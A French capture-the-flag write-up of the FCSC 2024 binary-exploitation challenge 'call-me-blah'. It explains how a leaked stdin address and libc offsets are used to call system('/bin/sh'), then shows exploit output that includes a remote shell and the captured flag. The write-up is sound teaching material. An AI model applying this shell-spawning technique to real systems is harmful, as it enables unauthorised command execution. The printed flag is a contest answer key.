Les fichiers fournis :
L'analyse de call-me-blah.c
montre que le binaire :
- affiche l'adresse mémoire de
stdin
- puis nous invite à saisir l'adresse
call_me
d'une fonction à appeler et la valeur de son paramètreblah
.
Pour obtenir un shell, il suffirait que :
call_me
: soit l'adresse de la fonctionsystem
blah
: la chaine/bin/sh
Or comme on dispose de la libc utilisée libc-2.36.so
:
- on peut calculer l'adresse relative de
system
par rapport àstdin
dans la libc - utiliser l'adresse mémoire de
stdin
affichée à l'exécution, pour calculer celle desystem
(grâce à l'adresse relative desystem
par rapport àstdin
)
La difficulté est ici de trouver à quel symbol stdin
correspond dans la libc : il s'agit de _IO_2_1_stdin_
On se sert du script call-me-blah.py
pour réaliser notre exploit. Une fois un shell obtenu sur le serveur, le flag est rapidement trouvé :
$ python3 call-me-blah.py REMOTE
[*] '/fcsc_2024/call-me-blah/call-me-blah'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to challenges.france-cybersecurity-challenge.fr on port 2103: Done
[*] '/fcsc_2024/call-me-blah/libc-2.36.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/fcsc_2024/call-me-blah/ld-2.36.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] 0x6e54ae3fca80
leak_stdin_address='6e54ae3fca80'
0x1d2a80
hex(system)='0x4c490'
hex(system)='0x6e54ae276490'
system=121309978125456
[*] Switching to interactive mode
$ ls
call-me-blah
flag.txt
$ cat flag.txt
FCSC{c22407092c870dfb9b6ee7e5277015de9c2a6fbc16a251237c037e73eb7a3a7e}